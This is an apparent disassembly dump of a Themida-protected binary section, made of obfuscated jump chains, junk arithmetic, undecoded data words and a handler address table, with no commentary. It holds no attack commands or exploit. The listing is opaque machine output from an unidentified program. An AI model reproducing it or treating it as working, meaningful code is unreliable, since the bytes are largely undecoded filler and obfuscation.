		dd 0C7835BDFh, 88E95702h, 0B9FFFFCCh, 1925502Fh, 0D1F7D9F7h
		dd 0C981D9F7h, 4D15606Ah, 0E70BE981h, 0CA29D95Bh, 0FF892DE9h
		dd 5AD631FFh, 0FFE739E9h, 24048FFFh, 0D224248Bh, 0E99C2424h
		dd 0FFFF4E55h, 6CD96857h, 0E95F476Ch, 0FFFFEF54h
; ---------------------------------------------------------------------------


loc_5549CC:				; CODE XREF: Themida_:00553EEAj
		xor	eax, 1F98AE04h
		xor	ecx, eax
		jmp	loc_554E9E
; ---------------------------------------------------------------------------
		dd 0EA814A42h, 5543350h, 37E9D601h, 89FFFFE4h, 535752E6h
		dd 7A177CBBh, 5BDF893Bh, 7A1780BAh, 0FA60E93Bh,	9CBEFFFFh
		dd 0C1409256h, 0C68107EEh, 228E472Eh, 0B2E9F729h, 50FFFF94h
		dd 4EC81h, 14890000h, 0BD35E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554A22:				; CODE XREF: Themida_:0054FFDFj
		xchg	ecx, [esp]
		jmp	loc_553CFD
; ---------------------------------------------------------------------------
		dw 0E6E9h
		dd 1FFFF4Dh, 24148BD6h,	3304C483h, 34312434h, 24343324h
		dd 6624248Bh, 9C240409h, 0FF4DC8E9h, 0E9F829FFh, 0FFFF8B23h
		dd 0F27F652Dh, 57C2D6Bh, 3C8B4D1Dh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54E793
; ---------------------------------------------------------------------------
		db 59h
		dd 15AD731h, 0EC835FF8h, 243C8904h, 14CC68h, 6BB0E900h
		dd 5357FFFFh, 559F1BBh,	81D3F758h, 7E3F65EBh, 0CE8FE955h
		dd 0E2C1FFFFh, 0EAC14A03h, 0F6CA8107h, 8155F324h, 0D210FCF2h
		dd 5AD02911h, 8E9F801h,	0FFFFFF61h, 0E9582434h,	0FFFF8348h
		dd 0E9A4EF80h, 0FFFFC85Eh, 15EF729h, 243C8BF9h,	4C481h
		dd 7B680000h, 89000032h, 0A4E9241Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_554AE3:				; CODE XREF: Themida_:0054F7B1j
		pop	esi
		add	esi, 4C6DEAF6h
		jmp	loc_5536D0
; ---------------------------------------------------------------------------


loc_554AEF:				; CODE XREF: Themida_:0055590Aj
		and	ecx, 58322F32h
		jmp	loc_54DF99
; ---------------------------------------------------------------------------


loc_554AFA:				; CODE XREF: Themida_:005499BBj
		mov	cl, 0CFh
		mov	dl, cl
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		sub	bl, dl
		mov	dx, [esp]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 1C77FFC3h, 0D259669Dh, 0E99C2414h, 0FFFF4CDDh, 0C2815A54h
		dd 4, 0E902C283h, 0FFFFE30Eh, 0E95EF129h, 0FFFF6C72h, 4EC815Dh
		dd 89000000h, 74FF2404h, 8F580424h, 535C2404h, 886FB652h
		dd 0CF805AF7h, 0EAE9515Ah, 80FFFFBDh, 7AE971EDh, 0F6FFFF9Ch
		dd 80F186D6h, 0E98095F1h, 0F8C180BFh, 2C59C828h, 0CFE95A11h
		dd 0F6FFFF7Ah, 0BC68E9DDh, 0E289FFFFh, 27B0B850h, 50524940h
		dd 755CE0B8h, 5ACE0D5Eh, 0BA52187Ah, 1C492FB2h,	255AD029h
		dd 41566DCFh, 7C7A6425h, 0A42D4062h, 0E92E0014h, 0FFFF726Ch
		dd 0EA80E4B2h, 46E280FFh, 86FFEA80h, 0E9D5F6EAh, 0FFFFC5FFh
		dd 81240C8Bh, 4C4h, 15B05000h, 48BC300h, 4C48124h, 80000000h
		dd 0F7E9F9EBh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554BFF:				; CODE XREF: Themida_:0054ADE5j
		sub	dword ptr [esp+4], 13145716h
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		sub	eax, 65BA559Ch
		push	ebx
		mov	ebx, 6912BCFh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54C7D1
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFCA56E9h, 3C875BFFh, 77F6E924h, 8159FFFFh,	3D4E7FEBh
		dd 0E9C3015Dh, 0FFFF91E7h, 65FCE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C4A:				; CODE XREF: Themida_:0054E56Ej
		push	ecx
		jmp	loc_54AFF6
; ---------------------------------------------------------------------------
		dd 21BFBE56h, 0EE813A57h, 54770C98h, 0D146464Eh, 0B70DE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C66:				; CODE XREF: Themida_:00552785j
		mov	edx, 2992488Bh
		sub	ebx, edx
		jmp	loc_54AEB3
; ---------------------------------------------------------------------------
		dw 5649h
		dd 0E27875BEh, 0E9F13136h, 0FFFFAE20h
; ---------------------------------------------------------------------------


loc_554C80:				; CODE XREF: Themida_:0054D30Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	2D97h
		mov	[esp], esi
		jmp	loc_5500DC
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4A7AA3C3h, 3AE95627h, 53FFFF57h, 0FFE895E9h,	240481FFh
		dd 1, 5F2434FFh, 8104C483h, 8E6088E7h, 0A8E9516Eh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554CC7:				; CODE XREF: Themida_:0054E7E6j
		shr	edi, 6
		dec	edi
		shl	edi, 6
		add	edi, 34D0CEB4h
		sub	eax, edi
		pop	edi
		xchg	eax, ecx
		pop	eax
		or	ecx, 1F6D4C71h
		jmp	loc_54A5D6
; ---------------------------------------------------------------------------


loc_554CE4:				; CODE XREF: Themida_:0054D7BEj
		pop	esi
		jmp	loc_553881
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 21BF4977h, 815EF101h, 4C1h, 240C3300h, 33240C31h, 1FE9240Ch
		dd 57FFFF80h, 116AA7BFh, 955DB931h, 0F901CEEEh,	0A28FE95Fh
		dd 0C1BBFFFFh, 297D2569h, 0D30159CBh, 0FF5833FFh, 1C8B2434h
		dd 4C48124h, 51000000h,	0C181E189h, 4, 4EC81h, 1C890000h
		dd 4BB24h, 0D9010000h, 0C647E95Bh, 815EFFFFh, 1C6h, 0FF8CE900h
		dd 8B66FFFFh, 49E92404h, 89FFFFF2h, 986AE9E1h, 0C781FFFFh
		dd 8280E81Dh, 162DC381h, 0FB0130C4h, 162DB951h,	0FEE930C4h
		dd 0BBFFFF5Ch, 1E216273h, 9D8FC381h, 0D901E1DEh, 0E9241C8Bh
		dd 0FFFF8204h, 81EAD15Bh, 0C60D18F2h, 0D789573Dh, 5A5FFB89h
		dd 4DD8CB81h, 0DBF742A8h, 0C38CF381h, 0EBE98693h, 89000003h
		dd 0CCE95FFEh, 81FFFFCAh, 6931FC01h, 0FF595A16h, 48B2434h
		dd 0E2E3E924h, 0C581FFFFh, 70C0504h, 0FF64E9E9h, 24148BFFh
		dd 4C481h, 0BA520000h, 40234151h, 0E906E2C1h, 0FFFFFC9Eh
		dd 405h, 4C08300h, 0FF74E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554E09:				; CODE XREF: Themida_:0054F8F6j
		mov	ebp, esp
		push	ebx
		mov	ebx, 4A7035Ah
		or	ebx, 6BF41963h
		not	ebx
		and	ebx, 4B930F8Ah
		inc	ebx
		xor	ebx, 485h
		add	ebp, ebx
		jmp	loc_54A305
; ---------------------------------------------------------------------------


loc_554E2D:				; CODE XREF: Themida_:0055550Ej
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_553DD4
; ---------------------------------------------------------------------------
		dd 0DF8EE81h, 0EEC145F4h, 74E95208h, 66FFFFF9h,	0E9C8B60Fh
		dd 0FFFFB267h, 83240C8Bh, 0E8C104C4h, 8E0C104h,	0FFF160E9h
		dd 0E9E828FFh, 0FFFF9F6Dh, 42474FFh, 6824048Bh,	1B4Bh
		dd 0FF6C4BE9h, 240487FFh, 2C24248Bh, 4F00044h, 2434FF44h
		dd 4C4835Ah, 13B45066h,	0FE63B450h, 8F0CE9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554E9E:				; CODE XREF: Themida_:005549D3j
		pop	eax
		jmp	loc_54B613
; ---------------------------------------------------------------------------
		dd 0E9243487h, 0FFFF7DB5h
; ---------------------------------------------------------------------------


loc_554EAC:				; CODE XREF: Themida_:0054C4D8j
		add	eax, 6ED235E3h
		jmp	loc_5542C8
; ---------------------------------------------------------------------------
		dw 0B368h
		dd 89000010h, 52E92414h, 81FFFF49h, 0BCCF55F5h,	0E9EF2973h
		dd 0FFFF8B01h, 5C242C87h, 54243C89h, 83243C8Bh,	0EC8104C4h
		dd 4, 0B9240C89h, 4, 5259CF01h,	0EB48E0BAh, 0C8A1E925h
		dd 0EC83FFFFh, 24148904h, 42474FFh, 24048F5Ah, 0F24248Bh
		dd 4EC81C8h, 0E9000000h, 0FFFFA379h, 0B850595Ch, 3CCE0FB4h
		dd 8158C329h, 0A97C5FEBh, 81C3011Dh, 0A97C5FC3h, 7ECA681Dh
		dd 4890000h, 68E36824h,	9EE90000h, 89FFFFE5h, 0C3E95AD7h
		dd 81FFFF56h, 4C1h, 4E98100h, 87000000h, 6DE9240Ch
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554F5F:				; CODE XREF: Themida_:00551146j
		xchg	ebp, [esp]
		pop	esp
		push	5355h
		mov	[esp], edx
		jmp	loc_552E40
; ---------------------------------------------------------------------------


loc_554F70:				; CODE XREF: Themida_:0054ADD4j
		pop	ebx
		add	esi, 9820A206h
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5529AD
; ---------------------------------------------------------------------------
		db 58h,	56h, 0BEh
		dd 0BB7FAEh, 5E6C14Eh, 0C1FFC683h, 0F68104EEh, 176FF5Dh
		dd 5C9AB951h, 0C829015Dh, 5F00159h, 15D5C9Ah, 4055Eh, 4330000h
		dd 24043124h, 5C240433h, 9C240409h, 0FF4848E9h,	405FFh
		dd 4050000h, 0E9000000h, 0FFFFBC40h, 7BE9F300h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FE3:				; CODE XREF: Themida_:005544FBj
		push	ebx
		mov	bh, 82h
		jmp	loc_54D97F
; ---------------------------------------------------------------------------
		db 51h
		dd 1B5544B9h, 59C8291Ah, 4405D829h, 5B1A1B55h, 0FFFCA6E9h
		dd 0E1F766FFh, 0E9E18951h, 0FFFFC378h, 243CD25Ch, 47FFE99Ch
		dd 4D2DFFFFh, 2905E97Eh, 7E4D05D8h, 685605E9h, 5E30841h
		dd 0FFEE815Eh, 81FFFFFFh, 812F57F6h, 0B6C68127h, 0E90E3136h
		dd 0FFFFD244h
; ---------------------------------------------------------------------------


loc_555040:				; CODE XREF: Themida_:00549D1Fj
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	3F47h
		mov	[esp], edx
		push	eax
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		mov	edx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_551592
; ---------------------------------------------------------------------------
		dd 51E9525Ch, 81FFFFFBh, 1B00E3F5h, 7E5C102h, 74CBC581h
		dd 0F5810780h, 65A413C7h, 8FDEC581h, 0EA3175BAh, 0FF4905E9h
		dd 4C483FFh, 555AD501h,	0FF38428Fh, 505D2434h, 405E089h
		dd 83000000h, 0FF5004C0h, 58042474h, 59DE9h, 4C48300h
		dd 0E904EC83h, 0FFFF93E1h, 4C3835Dh, 93E68h, 241C8900h
		dd 0FFB955E9h, 8BEE29FFh, 0C481242Ch, 4, 15EF589h, 0C335DE9h
		dd 240C3124h, 5C240C33h, 9C2404D2h, 0FF4714E9h,	8B6664FFh
		dd 0ED686602h, 4896604h, 0A37FE924h, 1C89FFFFh,	0E5046824h
		dd 1C8B6C81h, 5AEFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555122:				; CODE XREF: Themida_:0054E599j
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	5C47h
		mov	[esp], edi
		mov	edi, 80h
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_5543B4
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 4
		dd 0DB80E924h, 835EFFFFh, 0BF5704C4h, 72EA2768h, 6E2AEF81h
		dd 19E91D87h, 66FFFFD3h, 0E9240C8Bh, 276h, 405h, 5A1E900h
		dd 50BE0000h, 0E92D8024h, 0FFFF99EEh, 45626857h, 4890000h
		dd 6BEAB824h, 98E90AC3h, 33FFFFEEh, 34312434h, 24343324h
		dd 0F624248Bh, 4799E9F1h, 15EFFFFh, 756EE9EEh, 0D921FFFFh
		dd 0D1BF575Bh, 212DC315h, 0EC815FF9h, 4, 0BD242C89h, 547752B8h
		dd 0E95DE901h, 0FFFFEB1Ah, 148BD031h, 4C48124h,	2D000000h
		dd 0BB053C6Fh, 0E3E9C589h, 58FFFF48h, 6BEEF781h, 0FA010AC3h
		dd 734685Fh, 2C890000h,	4BD24h,	4BE90000h, 81FFFF6Ah, 4C6h
		dd 24343300h, 0E9243431h, 0FFFF636Eh
; ---------------------------------------------------------------------------


loc_555210:				; CODE XREF: Themida_:0054DA80j
		push	833h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_550BAE
; ---------------------------------------------------------------------------
		dd 4055858h, 0E9000000h, 0FFFF6AA3h, 0FF45E0E9h, 0CEE95BFFh
		dd 0B9FFFFE9h, 20EF7256h, 0FF5596E9h, 0E0C15BFFh, 0C6BD5507h
		dd 8136164Ch, 895EF9F5h, 0D5E58110h, 0C1301216h, 0E5D104E5h
		dd 2080ED81h, 0C581B512h, 8CC5D8Eh, 0BB53DDF7h,	694A41B2h
		dd 0FFE544E9h, 2BBFFh, 0D9010000h, 5B2434FFh, 3304C483h
		dd 0DCE9240Ch, 66FFFFF4h, 5724048Bh, 0E9E08950h, 0FFFF795Fh
		dd 241C3366h, 241C3166h, 0FF456CE9h, 4C481FFh, 81000000h
		dd 2C3h, 70E95300h, 54FFFF9Ch, 5224048Fh, 4BB53h, 0DA890000h
		dd 0AD50E95Bh, 22DFFFFh, 33000000h, 4312404h, 5018E924h
		dd 0AFBFFFFFh, 3131081Ch, 98E959CFh, 81FFFFF0h,	4C1h, 4E98300h
		dd 5C240C87h, 54242C89h, 7FB9515Dh, 0C159062Fh,	0BB5306E9h
		dd 23DD7688h, 0FF7625E9h, 80C2FEFFh, 0A02CA3F2h, 0A8E9D000h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55531F:				; CODE XREF: Themida_:0054AD43j
		mov	[esp], ebx
		mov	bl, 18h
		not	bl
		xor	bl, 0A5h
		push	eax
		jmp	loc_54B61A
; ---------------------------------------------------------------------------


loc_55532F:				; CODE XREF: Themida_:0054B102j
		pop	esi
		push	eax
		mov	eax, 550E5A24h
		or	eax, 3B0B7E2Eh
		sub	eax, 269C57E2h
		jmp	loc_54F6FA
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 66000000h, 0E9241C89h, 0FFFFA0F3h, 6692C780h, 0DB87E952h
		dd 59FFFFh, 0E95166F0h,	0FFFF9139h, 526653B1h, 0B8E987B6h
		dd 89FFFF56h, 74FF241Ch, 1C8B0424h, 4C48324h, 317E9h, 0D6C78100h
		dd 8B1D8B26h, 7FE92404h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555393:				; CODE XREF: Themida_:0054B753j
		sub	ebx, 35883677h
		mov	edx, ebx
		pop	ebx
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 31AB068Ah
		sub	eax, 17C732FBh
		jmp	loc_54C202
; ---------------------------------------------------------------------------


loc_5553B6:				; CODE XREF: Themida_:00553644j
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55314B
; ---------------------------------------------------------------------------
aPhu		db 'Phã+',0
		align 10h
		dd 0FFFEE6E9h, 2424D2FFh, 4437E99Ch, 0CA68FFFFh, 89000056h
		dd 0CCE9243Ch, 54FFFF7Eh, 4C5815Dh, 81000000h, 4EDh, 242C8700h
		dd 8924248Bh, 0E189240Ch, 0EAEBE950h, 54BFFFFFh, 1B474E4h
		dd 1C2D5AD7h, 1311B13h,	131C05F8h, 0D0E9311Bh, 53FFFFB4h
		dd 0C381E389h, 4, 6DB8BD55h, 0E5811FACh, 0E3C483Ch, 0FFA8FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55543D:				; CODE XREF: Themida_:0054E8D2j
		pop	ecx
		jmp	loc_5520AD
; ---------------------------------------------------------------------------
a0Fhu0s		db '0Øfhž0é',0
		db 0DCh
		dd 3C8BFFFFh, 4C48324h,	0FFDFC6E9h, 426866FFh, 1C896632h
		dd 8814B324h, 515B66DDh, 12454F6h, 0FF9CD6E9h, 0D18851FFh
		dd 9EE9C888h, 68FFFF8Ah, 12FEh
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebp
		push	4EB9713Dh
		pop	ebp
		add	ebp, 1445451Fh
		sub	ebp, 62FEB658h
		push	245Fh
		jmp	loc_549BCF
; ---------------------------------------------------------------------------
aM0HQ		db '¬0Øh=q',0
		dd 24148900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 4BE92404h, 83FFFF81h, 5E6602C4h, 0E9D6F766h,	0FFFF76B1h
		dd 6140B951h, 0F74964A5h, 0BA5249D9h, 5B6932FEh, 555AD121h
		dd 0FFA9ECE9h, 0CECB9FFh, 0CD017486h, 0FFEC96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55550D:				; CODE XREF: Themida_:0054DBAAj
		pop	ebx
		jmp	loc_554E2D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B243487h, 34892424h, 81E68924h, 4C6h, 4EE8300h, 0E9243487h
		dd 0FFFFD5E6h, 0FF42E0E9h, 24348BFFh, 4C481h, 0BA520000h
		dd 275F4038h, 8105EAC1h, 0C670ACC2h, 51FEE943h,	0D366FFFFh
		dd 0E99C243Ch, 0FFFF5CAAh, 0C681E689h, 4, 4C681h, 34330000h
		dd 24343124h, 8B243433h, 0F9F72424h, 83E38953h,	148904ECh
		dd 1F35BA24h, 0EA81408Fh, 2A99FDDEh, 2153EA81h,	0BE5615F5h
		dd 685514FAh, 348BF329h, 4C48124h, 1000000h, 0FAC381D3h
		dd 8B685514h, 0A0E92414h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5555B3:				; CODE XREF: Themida_:005529B6j
		pop	esp
		jmp	loc_550DA9
; ---------------------------------------------------------------------------


loc_5555B9:				; CODE XREF: Themida_:0054BE17j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_549815
; ---------------------------------------------------------------------------
		dw 0B668h
		dd 8900002Ah, 0E9E9240Ch, 0E9FFFFCAh, 0FFFF4239h
; ---------------------------------------------------------------------------


loc_5555DC:				; CODE XREF: Themida_:0054BB0Aj
		add	ebx, edi
		pop	edi
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54C181
; ---------------------------------------------------------------------------


loc_5555F3:				; CODE XREF: Themida_:0054FD9Cj
		add	ebx, 52283F49h
		jmp	loc_5558A9
; ---------------------------------------------------------------------------


loc_5555FE:				; CODE XREF: Themida_:0054D0C0j
		mov	eax, 5444F14h
		or	eax, 7A956C97h
		push	32D1h
		mov	[esp], ecx
		jmp	loc_54BB0F
; ---------------------------------------------------------------------------
		db 0F6h, 0D8h, 2Ch
		dd 58C530ACh, 0E8005704h, 0B9E9572Ch, 33FFFFF5h, 45E9243Ch
		dd 0FFFFFFAh, 34FFC0B6h, 41DBE987h, 8B66FFFFh, 0EC812404h
		dd 4, 89241489h, 4B951E2h, 1000000h, 725EE9CAh,	1487FFFFh
		dd 0B86FE924h, 48FFFFFh, 4B685C24h, 8900002Fh, 4E682434h
		dd 89000062h, 0B850243Ch, 0
		dd 0FFB146E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55567D:				; CODE XREF: Themida_:00552AABj
		add	esi, 4
		jmp	loc_55265E
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 0B30F6624h, 0E99C2404h, 0FFFF4179h
		dd 8B24048Fh, 0CFE2424h, 6AE99C24h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556AB:				; CODE XREF: Themida_:005505A4j
		shr	ecx, 0
		or	eax, eax
		jz	loc_54EC0D
		push	3A6h
		mov	[esp], ebx
		xor	dword ptr [esp], 126B4708h
		mov	eax, [esp]
		push	ebp
		jmp	loc_54A5EC
; ---------------------------------------------------------------------------
		dw 5052h
		dd 2B8h, 8BC28900h, 0C4812404h,	4, 555AD589h, 92243481h
		dd 59059A19h, 1992F181h, 295D059Ah, 240C8BC8h, 4C481h
		dd 4330000h, 24043124h,	8B240433h, 89662424h, 2E92404h
		dd 52FFFF41h, 2BB53h, 53530000h, 7A74EABBh, 245C3170h
		dd 555A5B04h, 3437E7BDh, 0F949E90Fh, 0E959FFFFh, 0FFFF605Ah
		dd 831F04ACh, 0EDE904ECh, 0F7FFFF70h, 354048D8h, 1812B2D2h
		dd 0FF46FFE9h, 59CB01FFh, 0E9241C87h, 0FFFFBDB1h, 6D7ABEBBh
		dd 0DBF38169h, 29522073h, 435FE9DDh, 0D7F7FFFFh, 0E906EFC1h
		dd 0FFFF8D97h, 9E2F340Dh, 18BB5328h, 317DE74Dh,	0C2895BD8h
		dd 582434FFh, 0FFF90CE9h, 0CCE95EFFh
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555797:				; CODE XREF: Themida_:00551869j
		sub	ecx, eax
		push	ebp
		mov	ebp, 38FC16E7h
		jmp	loc_549964
; ---------------------------------------------------------------------------
		dd 0A46C20B9h, 64C18127h, 5322467Fh, 179ABA52h,	7FE918B5h
		dd 59FFFFF1h, 0FF63A2E9h, 0B9BD55FFh, 81651E08h, 7A5615C5h
		dd 0CAED8168h, 1CD985Eh, 14875DEAh, 68525C24h, 6CB9h, 89243C89h
		dd 0AFF6E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557EA:				; CODE XREF: Themida_:0054EE51j
		push	0AC2h
		mov	[esp], edi
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54DC6E
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0C8BE0F5Ch, 6D1368h,	242C8900h, 35685D54h, 89000076h
		dd 6FE92434h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555827:				; CODE XREF: Themida_:00552126j
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	185E1214h
		pop	edi
		push	306Ah
		mov	[esp], ebp
		push	ecx
		mov	ecx, 6F6A2D18h
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_54A2C0
; ---------------------------------------------------------------------------
		db 81h
		dd 2B54F0C5h, 0EC815848h, 4, 0B9240C89h, 53D657F0h, 8244C01h
		dd 246C2959h, 246C8104h, 0D657F004h, 2C815D53h,	6444D524h
		dd 24040123h, 0D5240481h, 52236444h, 8D76D168h,	24148B5Dh
		dd 104C483h, 5A042454h,	0FF3F74E9h, 24148BFFh, 0FF589BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5558A9:				; CODE XREF: Themida_:005555F9j
		sub	ebx, 5E91679Ch
		add	ebx, 2992488Bh
		jmp	loc_54A068
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 5FFE2959h, 0B8E9F101h, 66FFFFAFh, 38F2ED81h,	0AEC38166h
		dd 0EB816605h, 29664541h, 0C38166EBh, 56664541h, 0FF40EDE9h
		dd 0EC8150FFh, 4, 0FFED83E9h, 241489FFh, 0BD55E289h, 6F3602C0h
		dd 0FF8DF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555901:				; CODE XREF: Themida_:0054BA0Ej
		add	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 5EC422AFh
		jmp	loc_554AEF
; ---------------------------------------------------------------------------


loc_55590F:				; CODE XREF: Themida_:0054A0FBj
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		jmp	loc_54CFE1
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 46h
		dd 0FFD5D0E9h, 57C329FFh, 0FFC559E9h, 8E5C1FFh,	0A4C58145h
		dd 12B49CAh, 0E9815DE9h, 5BB53161h, 0C8BC801h, 4C48324h
		dd 6802C083h, 4B88h, 0E9240489h, 0FFFFF514h, 5B66F920h
		dd 0FF8226E9h, 5DE831FFh, 0A7ACBE56h, 0BD55598Ah, 68C81DA8h
		dd 2C8BE829h, 4C48124h,	1000000h, 0A8BB53F0h, 0E968C81Dh
		dd 0FFFFEA36h
; ---------------------------------------------------------------------------


loc_555988:				; CODE XREF: Themida_:0054CFB8j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		sub	esp, 4
		jmp	loc_54D070
; ---------------------------------------------------------------------------
		align 10h
		dd 631700h, 5A6EAA00h, 0
		dd 7608EB00h, 6C192D90h, 5A63F3FAh, 21700h, 200h, 100h
		dd 600h, 6C192D00h, 0FAh, 4 dup(0)
		dd 5608B600h, 556EAC00h, 568FBA00h, 56763900h, 5655B300h
		dd 562DE400h, 55BA3A00h, 56A4D500h, 55CBAA00h, 560B7F00h
		dd 55FB2800h, 55D25800h, 56244900h, 569BAF00h, 55CE0C00h
		dd 55751700h, 55CEAE00h, 56960000h, 5605C000h, 55C11D00h
		dd 56411100h, 55CE5900h, 55D46A00h, 55726C00h, 5561CD00h
		dd 55BAE900h, 56827500h, 55669200h, 56769500h, 55815D00h
		dd 55C51600h, 56197100h, 55F37200h, 565B9300h, 5594A400h
		dd 56247300h, 557BCE00h, 56897E00h, 569CBA00h, 55A2BA00h
		dd 55DC6B00h, 56861F00h, 56224100h, 55C4DE00h, 55A48700h
		dd 55AEBB00h, 55A12B00h, 567C8800h, 567C6500h, 55ED1600h
		dd 56063000h, 557B4600h, 5560E600h, 566ABD00h, 566DC600h
		dd 560A3700h, 55907D00h, 560ECF00h, 55872E00h, 56A51000h
		dd 5677A500h, 55D03A00h, 55DF2200h, 5567AD00h, 56AA4800h
		dd 5691FA00h, 56037700h, 55C95B00h, 564FE400h, 558C1500h
		dd 5587D400h, 56342B00h, 55BC3800h, 55D77500h, 5608C500h
		dd 562BDA00h, 561FFE00h, 568E0B00h, 558C2F00h, 562D6E00h
		dd 56AB8C00h, 557F3E00h, 55C73900h, 5659A900h, 55999300h
		dd 55FCFF00h, 56494C00h, 565AE000h, 5563B700h, 56569C00h
		dd 569BDD00h, 56B22100h, 5654BB00h, 567F5B00h, 5656B300h
		dd 566F8D00h, 562E3D00h, 559F7700h, 56908500h, 55BFF500h
		dd 55D01D00h, 56458000h, 56397400h, 5636F300h, 562C2600h
		dd 5628E100h, 568E0400h, 557C0000h, 56851000h, 559FF900h
		dd 556D1100h, 55AEEB00h, 55CBB500h, 5621D800h, 56465900h
		dd 56AB0400h, 55A1FD00h, 55B33400h, 56783100h, 565FCD00h
		dd 55701800h, 558F5500h, 566A7B00h, 5564DE00h, 56A0CC00h
		dd 5604A700h, 560DD800h, 568DB400h, 568E3600h, 56AFF200h
		dd 55866E00h, 56480E00h, 55F18F00h, 56131300h, 561E1E00h
		dd 55C97200h, 569FE300h, 56264500h, 56538A00h, 5599A900h
		dd 55E1B800h, 5614FE00h, 55913300h, 566BBA00h, 5569A000h
		dd 5596A300h, 5613DA00h, 55E0DD00h, 559D0A00h, 566D2800h
		dd 55F0BD00h, 561FCD00h, 562E9B00h, 5674D400h, 56962D00h
		dd 55B7FC00h, 55A71900h, 56725F00h, 55AF9000h, 561E5000h
		dd 5677D700h, 558B0400h, 55683F00h, 562CCC00h, 5643DC00h
		dd 5585FD00h, 5681D000h, 0FC9C6000h, 0E8h, 0EF815F00h
		dd 5E94358h, 0C781C78Bh, 5E94070h, 752C473Bh, 8913EB02h
		dd 0A7B92C47h, 0EB000000h, 8F440105h, 0C90B4940h, 748BF775h
		dd 0DE8B2424h, 1B9F003h, 33000000h, 0B10FF0C0h,	0F775304Fh
; ---------------------------------------------------------------------------


loc_555CC4:				; CODE XREF: Themida_:00556379j
					; Themida_:loc_556D41j	...
		lodsb
		sub	esp, 2
		mov	[esp], dx
		push	ebx
		jmp	loc_559968
; ---------------------------------------------------------------------------


loc_555CD5:				; CODE XREF: Themida_:0055ECF8j
		not	bl
		add	bl, 80h
		add	dl, bl
		mov	bx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	edi
		mov	edi, 2
		add	edx, edi
		pop	edi
